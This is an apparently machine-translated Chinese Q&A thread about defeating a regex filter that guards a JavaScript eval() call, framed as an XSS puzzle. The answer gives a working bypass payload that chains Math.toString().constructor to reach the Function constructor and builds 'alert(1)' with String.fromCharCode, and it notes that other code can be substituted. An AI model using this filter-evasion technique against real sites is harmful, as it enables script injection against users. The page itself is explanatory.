Regex过滤器转义

我从一个随机的人那里得到了这个,他告诉我你可以通过’传递’过滤器来运行一个XSS。

function safeFunc(str) {
   if (str.replace(/(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
       return null;
     }
   return eval(str);
  }

注意:你需要你的字符串被regex过滤器完全’替换’才能进入eval,所以这有点像一个反向的谜题。我试了几个小时也没找到答案,我用的是这个网站。这个网站 有助于使用regex。我需要它评估并提醒1(或其他任何你能提醒的东西)谢谢!

解决方案:

EDIT 2答复:自本答复发布后,问题已被更改。原问题中的regex是 /(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g.

一个可能的答案: 不能与正确设计的CSP一起工作(使用的是 Function()) 你有 eval() 所以 'unsafe-eval' 必须是有效的。

Math=Math.toString(),Math=Math.constructor,Math.code=Math.fromCharCode(97)+Math.fromCharCode(108)+Math.fromCharCode(101)+Math.fromCharCode(114)+Math.fromCharCode(116)+Math.fromCharCode(40)+Math.fromCharCode(49)+Math.fromCharCode(41),Math.constructor(Math.code)()

EDIT: @Niet 黑暗的Absol 提醒了我 String.fromCharCode 可简化为:

Math=Math.toString(),Math=Math.constructor,Math.code=Math.fromCharCode(97,108,101,114,116,40,49,41),Math.constructor(Math.code)()

详细解释:

  1. Math = Math.toString() – 获取一个String实例。
  2. Math = Math.constructor – 得到 String 功能,从而 Math === String;
  3. Math.code = Math.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) – 通过以下方式获取代码字符串(即 'alert(1)'),方法是 String.fromCharCode()你可以用你想注入的代码来代替它。
  4. Math.constructor(Math.code)()Math.constructorFunction,从而执行 Function('alert(1)')().

给TA打赏
共{{data.count}}人
人已打赏
未分类

翩翩起舞 :- 行列布局-文字溢出和间隔符消失。

2022-9-9 2:23:21

未分类

在Camunda中,我如何区分在ErrorEnd事件中终止的进程实例和EndEvent?

2022-9-9 2:23:23

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索